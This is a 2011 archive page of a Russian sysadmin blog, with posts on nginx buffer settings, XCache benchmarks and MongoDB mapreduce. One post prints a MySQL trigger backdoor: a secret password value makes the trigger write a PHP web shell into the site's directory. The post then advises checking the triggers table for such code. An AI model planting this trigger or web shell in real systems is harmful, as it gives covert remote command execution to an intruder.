RSS Записей | RSS Комментариев
Ядоблог - Stay upwind

Архив за августа, 2011

10 минут удара веслом =)

августа 29, 2011 | 2 комментария

Раз уж зашли — смотрите.

Бэкдор с триггерах субд О_о

августа 29, 2011 | 2 комментария

ацкая штука:

delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;

Срочно делайте:

SELECT * FROM information_schema.TRIGGERS

=)

подробнее http://raz0r.name/mysli/backdoor-in-trigger/

sphinx + mongodb

августа 26, 2011 | Комментариев нет

Нашёл в архивах ссылку на видео. Может кому нужно. Аксёнов расскажет мысли: http://live.digitaloctober.ru/embed/290?language=ru#translation109|1305550905

nginx, upstream sent too big header while reading response header from upstream, client

августа 26, 2011 | Комментариев нет

subj лечится добавлением в конфиг нгинкса пары строчек в http секцию:
proxy_buffers 8 16k;
proxy_buffer_size 32k;

thanks to: http://phpsuxx.blogspot.com/2009/11/upstream-sent-too-big-header-while.html

Apache, nginx IAD

Грибочки

августа 26, 2011 | Комментариев нет

Уважаемые айтишники, собственно subj. Первый урожай собран, не теряем время =)

Терпение, всё получится

августа 16, 2011 | Комментариев нет

Феерично =)

августа 12, 2011 | 1 Комментарий

Заказал андроида

августа 11, 2011 | 2 комментария
android IAD

XCache. PHP. Сравнение быстродействия.

августа 3, 2011 | Комментариев нет

Тестируем WordPress сайт утилитой ab:

ab -c 20 -n 200 http://lenta.iadlab.ru/

Что эквивалентно 20 запросам в секунду. Общее число запросов 200. Перед Apache стоит nginx, который принимает запросы и проксирует на apache в очередь.

Принцип работы XCache: предварительно компилируем PHP файлы в объектный код и сохраняем в памяти. При выполнении запроса линкуем нужные файлы из памяти и выполняем запрос.

Результаты без XCache:

Concurrency Level:      20
Time taken for tests:   51.226 seconds
Complete requests:      200
Failed requests:        0
Write errors:           0
Total transferred:      10737600 bytes
HTML transferred:       10688600 bytes
Requests per second:    3.90 [#/sec] (mean)
Time per request:       5122.616 [ms] (mean)
Time per request:       256.131 [ms] (mean, across all concurrent requests)
Transfer rate:          204.70 [Kbytes/sec] received
 
Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.1      0       1
Processing:   473 4935 1205.1   4900   10384
Waiting:      272 4544 1024.4   4588    9127
Total:        473 4935 1205.1   4900   10384

Результаты с XCache:

Concurrency Level:      20
Time taken for tests:   35.107 seconds
Complete requests:      200
Failed requests:        0
Write errors:           0
Total transferred:      10737600 bytes
HTML transferred:       10688600 bytes
Requests per second:    5.70 [#/sec] (mean)
Time per request:       3510.692 [ms] (mean)
Time per request:       175.535 [ms] (mean, across all concurrent requests)
Transfer rate:          298.69 [Kbytes/sec] received
 
Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.6      0       3
Processing:   418 3366 791.7   3310    6196
Waiting:      324 3015 625.8   3056    4991
Total:        421 3366 791.4   3310    6196

Вывод: время выполнения упало ~ вдвое.

MongoDB. Сортировка nested arrays.

августа 1, 2011 | Комментариев нет

Допустим у вас есть в коллекции групп массив операций которые входят в группу(также это может быть коллекция постов, в которую входит массив комментариев).

Задача: выдернуть операции, упорядочив их по id.

Черновик решения:

db.runCommand(
{ mapreduce: operations_groups, 
 map : function Map() {
this.operations.forEach
(
	function(z)
	{
		emit( this.id , z);
	}
);
}
 reduce : function Reduce(key, values) {
 
	return {values:values.sort()};
}
 finalize : function Finalize(key, reduced) {
	return reduced;
}
 keeptemp : false
});
MongoDB, NoSQL IAD
© 2010 Ядоблог. Все права защишены.
Powered by Лаборатория Яда. Написать администратору